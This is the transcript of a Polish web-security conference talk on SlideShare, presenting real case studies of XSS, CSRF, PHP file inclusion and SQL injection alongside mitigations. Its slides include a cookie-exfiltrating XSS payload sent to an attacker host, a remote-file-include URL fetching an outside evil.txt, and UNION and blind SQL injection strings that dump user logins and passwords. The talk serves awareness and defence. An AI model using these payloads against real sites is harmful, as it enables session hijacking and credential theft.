Slideshare.net (beta)

 
Post to TwitterPost to Twitter
Post: 
Myspace Hi5 Friendster Xanga LiveJournal Facebook Blogger Tagged Typepad Freewebs BlackPlanet gigya icons

All comments

Add a comment on Slide 1

If you have a SlideShare account, login to comment; else you can comment as a guest


Showing 1-50 of 3 (more)

Drobne błędy w portalach WWW -- prawdziwe studium przypadku

From msobiegraj, 9 months ago

Michal Sobiegraj<br />Borys Lacki

1907 views  |  0 comments  |  2 favorites  |  6 embeds (Stats)
Download not available ?
 

Categories

Add Category
 
 

Groups / Events

 
Embed
options

More Info

This slideshow is Public
Total Views: 1907
on Slideshare: 1780
from embeds: 127

Slideshow transcript

Slide 1: Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Slide 2:  Czemu WWW jest ważne? M

Slide 3:  WWW jest wszędzie M

Slide 4:   Wydajemy pieniądze  Zarządzamy finansami  Zarabiamy pieniądze  Marnujemy czas M

Slide 5:  Ruch w Internecie http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M

Slide 6:  2007: ilośd ruchu WWW przekroczyła ilośd ruchu P2P M

Slide 7:  WWW pokonało pr0n! YAY!* * nie poparte żadnymi badaniami M

Slide 8:  Typy ruchu HTTP http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf M

Slide 9:  Wzrost ilości hostów w sieci Ponad 60 mln aktywnych (netcraft) M

Slide 10:  Bezpieczeostwo WWW w skrócie M

Slide 11:  Odkryte podatności WWW przewyższają ilościowo wszystkie pozostałe (Sans) M

Slide 12:  Czemu? Bardzo popularne medium ($)   Niedojrzałośd technologii  Błędy logiczne  Chałupnicze rozwiązania M

Slide 13:  Amerykaoskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów (Gartner, http://www.heise-online.pl/news/item/2356/) M

Slide 14:  Standardowa architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M

Slide 15:  Źle! Internet Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M

Slide 16:  Firewall vs. właściwe projektowanie, kodowanie i SDLC Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalnośd Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych M

Slide 17:  Optymalnie Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalnośd (logika biznesowa) Serwer Baz Danych M

Slide 18:  Najczęstsze ataki PHP Remote File Include   SQL Injection  Cross-Site Scripting  Cross-site Request Forgery (SANS Top-20 2007 Security Risks, 2007 Annual Update) M

Slide 19:  Wyciek informacji B

Slide 20:  Wesoła historyjka ;-) B

Slide 21:  Więcej obrazków hmm… B

Slide 22:  B

Slide 23:  :-D B

Slide 24:  Kopiujemy… B

Slide 25:  Łączymy się… B

Slide 26:  PWND ;-) B

Slide 27:  Wniosek? Bezpieczeostwo wymaga specyficznego sposobu myślenia (Paranoi? ;-) B

Slide 28:  Ograniczenie dostępu po stronie klienta  Możliwośd obejścia interfejsu  W kontraście z bankomatem Nieskuteczne! B

Slide 29:  Ograniczenie dostępu po stronie klienta  RSS z identyfikacją ID klienta serwer.tld/rss/100_rss.xml serwer.tld/rss/101_rss.xml serwer.tld/rss/102_rss.xml  Czytanie cudzych wiadomości serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81 serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82 B

Slide 30:  Kontrola dostępu po stronie serwera B

Slide 31:  Cross-Site Scripting (XSS) B

Slide 32:  Reflective XSS Serwer http://serwer/index.php?id=<script>…</script> GET /index.php? id=<script>…</script> HTTP/1.1 Intruz Aplikacja Użytkownik WWW …<script>…</script>… exec(…) Dane dostępne w kontekście użytkownika B

Slide 33:  Przykładowy kod XSS document.write(‘ <img src=„ http://intruz.tld/cookiemonster.gif ?’+escape(document.cookie) +’ ”> ’); B

Slide 34:  Zmiana treści za pomocą XSS M

Slide 35:  Zmiana treści za pomocą XSS B

Slide 36:  Rebranding za pomocą XSS http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117, 109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40, 34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10 9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1 11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1 05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E document.getElementById(\"logo\").innerHTML= \"<img src='http://www.str.tld/images/smiley.gif'>\" M

Slide 37:  Tak to wygląda w kodzie strony ... <div id=\"maincontent\"> <h2>Results for: <span style=\"color: #f00;\"><script>eval(String.fromCharCode(100,111,99,117,109,101 ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1 00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77 ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5 8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1 12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4 6,103,105,102,39,62,34));</script></span></h2> </div> ... M

Slide 38:  Tak wygląda zmieniany kod <div id=\"logo\"> <div class=\"logolink\"> <a href=\"http://strona.tld/\">strona.tld</a> </div> ... </div> M

Slide 39:  Kod w przeglądarce M

Slide 40:  Efekt działania M

Slide 41:  A wygląda to tak M

Slide 42:  Zmiana treści za pomocą XSS Nie jest permanentna   Lepszy kod  łatwiej (sic!) Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce  phishing B

Slide 43:  Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user B

Slide 44:  Wykorzystanie przejętego cookie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user B

Slide 45:  Kradzież ciastka zawierającego ID sesji http://www.serwer.tld/index.php?p=com ments&comments_login=smietanka%3Csc ript%3Edocument.write(document.cookie) %3C/script%3E PHPSESSID=gji9h519llgbgbnaqg7si0q1l0; __utma=258102041.949163972.1198624259.1198624259.1198624259.1; __utmb=258102041; __utmc=258102041; __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc md=(none) M

Slide 46:  M

Slide 47:  M

Slide 48:  M

Slide 49:  Jak wysład sobie ciastko? XMLHttpRequest  Problem pomiędzy domenami Link  img, iframe, location.href, etc Przykład: <img src=\"http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7 si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259. 1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204 1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29 %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29\"> B

Slide 50:  Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane !!! - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7 B

Slide 51:  http://serwer.tld/topics/<img src=http://www.serw.tld/images/smiley.gif> / M

Slide 52:  http://serwer.tld/topics/<img src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif> %2f  / M

Slide 53:  http://serwer.tld/topics/<img src=http:%252f%252fwww.serwer.tld%252fimages%252fsm iley.gif> %252f  %2f  / M

Slide 54:  B

Slide 55:  Stored XSS Serwer POST /register.php HTTP/1.1 login=<script>…</script>&password=asd Aplikacja WWW GET /index.php HTTP/1.1 <script>…</script> Użytkownik Intruz …<script>…</script>… exec(…) Dane dostępne Baza danych w kontekście użytkownika B

Slide 56:  Co można zrobid?  Permanentna zmiana treści  Łatwa kradzież ID sesji  CSRF  XSS Proxy  Automatyczne robaki - mySpace, Orkut, Nduja, Borys Łatwe ;] w serwisach pozwalających publikowad własną treśd: - aukcyjne, blogi, fora, etc B

Slide 57:  Kradzież ID sesji B

Slide 58:  XSS Worm Serwer WWW Zapisuje XSS w swoim profilu XSS Intruz … Intruz User_1 User_2 B

Slide 59:  XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… exec(…) … Zapisuje XSS w Intruz swoim profilu XSS User_1 User_2 B

Slide 60:  XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… User_2 … exec(…) Zapisuje XSS w Intruz swoim profilu GET /user1/ HTTP/1.1 XSS User_1 …<script>…</script>… exec(…) Zapisuje XSS w XSS swoim profilu User_2 B

Slide 61:  Nduja – A Cross Domain/Webmail XSS Worm Intruz E-mail E-mail E-mail E-mail Serwer Serwer Serwer Serwer WWW WWW WWW WWW WebMail WebMail WebMail WebMail Libero.it Tiscali.it Lycos.it Excite.com B

Slide 62:  Co na to poradzid?  Powiązad ID sesji z IP  Żądad powtórnego uwierzytelnienia  Kontrolowad wprowadzane dane - Białe listy (ScRipT) - Spójnośd (IDS, Firewall, aplikacja) - Dogłębnośd (....//  ../), UTF-7  Filtrowad dane zapisywane do bazy i odczytywane z bazy B

Slide 63:  Cross-Site Request Forgery (CSRF) B

Slide 64:  CSRF Serwer http://serwer/delete.php?id=34 Aplikacja WWW GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 … id = 34; Intruz Użytkownik delete(id); … Wpis usunięty M

Slide 65:  <img src=„http://nasza- klasa.pl/invite/1?i=1”> (/var/log/apache/cba_ipn_zus_access.log) B

Slide 66:  Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip art/form-data&_action=https%3A//mail.google.com/mail/h/ wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter „Konto na Gmailu każdy z nas ma. Mam i ja!” (Kradzież domeny: www.davidairey.co.uk) B

Slide 67:  Co na to poradzid?  POST zamiast GET  obejście: iframe, javascript  Referer  problemy: proxy, przeglądarki, zmiana nagłówka  Generowane tymczasowego dodatkowego ID  Powiązanie ID użytkownika z długim losowym ciągiem  Trzymane po stronie serwera  Wymaganie ponownej autoryzacji przy kluczowych operacjach  Brak błędów XSS (XmlHttpRequest)!!! B

Slide 68:  PHP File Include B

Slide 69:  Local File Include • podgląd plików (konfiguracyjnych!) • wykonanie kodu, jeśli jest możliwośd wgrania pliku na serwer • dostęp do kodu źródłowego <?php if(file_exists(\"includes/$page.inc\")) { include \"includes/$page.inc\"; } else { echo \"W budowie!<BR>\"; } http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi c_html/.htpasswd%00 B

Slide 70:  Remote File Include wykonanie kodu <?php include($mosConfig_absolute_path.\"/administrator/components /com_hashcash/config.hashcash.php\"); require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS trategy.php'); http://strona.tld/components/com_hashcash/server.php?mosConfig_a bsolute_path=http://zuozuozuo.pl/evil.txt? access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] \"GET //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1\" 404 1021 \"-\" \"libwww-perl/5.803„ access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] \"GET /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt? HTTP/1.1\" 404 1021 \"-\" \"libwww-perl/5.76\" B

Slide 71:  Co z tym zrobid?  konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru  uważad na specjalne znaki (null byte, etc)  filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.)  inne: mod_security, Suhosin PHP B

Slide 72:  SQL Injection M

Slide 73:  SQL Injection Serwer GET /login.php HTTP/1.1 login=admin&password=1’ or 1=‘1 Aplikacja WWW Intruz select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’ Welcome admin $dane = db_exec(„select from users where login=‘$login’ and pass=‘$pass’”) Baza danych if ($dane.count) { print („Welcome $login”) … } else { print („Bye”); exit (0); } M

Slide 74:  POST http://www.serwer.tld/index.php?p=priv HTTP/1.1 priv_search=2e332424&cat='\"1&w_city=\"'asd&submit=Szukaj M

Slide 75:  priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=1#&submit=Szukaj M

Slide 76:  priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=0#&submit=Szukaj M

Slide 77:  priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select @@version#&submit=Szukaj The used SELECT statements have a different number of columns M

Slide 78:  priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi t=Szukaj M

Slide 79:  priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi t=Szukaj M

Slide 80:  priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA != 'information_schema'#&submit=Szukaj M

Slide 81:  priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=Szukaj M

Slide 82:  Przy okazji wychodzą na jaw TAJEMNICE ;-) M

Slide 83:  Bonusowe odkrycie: 1836 botów :-) M

Slide 84:  Blind SQL Injection Formularz rejestracyjny: ‘ B

Slide 85:  Blind SQL Injection  1' and 1='0  OK.  1' or 1='1  Taki email już jest zarejestrowany w serwisie. Musisz podad inny  1' union all SELECT IF( user() like '%sig%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  opóźnienie  user() == sig@...  1' union all SELECT IF( user() like '%asd%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  brak opóźnienia B

Slide 86:  B

Slide 87:  B

Slide 88:  Blind SQL Injection • /zgoda.php?id=155765%20AND%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3D97 • id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B

Slide 89:  Wyniki blind SQL Injection  Opóźnienie  Treśd  Komunikat błędu B

Slide 90:  Co na to poradzid?  Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych)  Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M

Slide 91:  Podsumowanie M

Slide 92:  Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M

Slide 93:  Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane  Firewalle aplikacyjne  IDSy Białe listy! M

Slide 94:  Byd świadomym potencjalnych zagrożeo i problemów  Słuchad i pytad  Korzystad z pomocy specjalistów  Bilansowad koszty z zyskami każdy feedback jest dobry M

Slide 95:  Używad sprawdzonych rozwiązao • Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. • Odpowiedzią na błędy w kodowaniu WWW są frameworki – Pozwalają na zachowanie pewnej jakości kodu – Nie jesteśmy w 100% bezpieczni » Jeszcze nie są wystarczająco dojrzałe » Nie wszyscy wiedzą jak z nich korzystad » Bywają rozszerzane \"na głupa\" » Efekt skali powoduje, że błędy propagują się szeroko M

Slide 96:  Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: http://www.sans.org/top20/#s1 M

Slide 97:  Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M

Slide 98: michal@sobiegraj.com b.lacki@logicaltrust.net Pytania?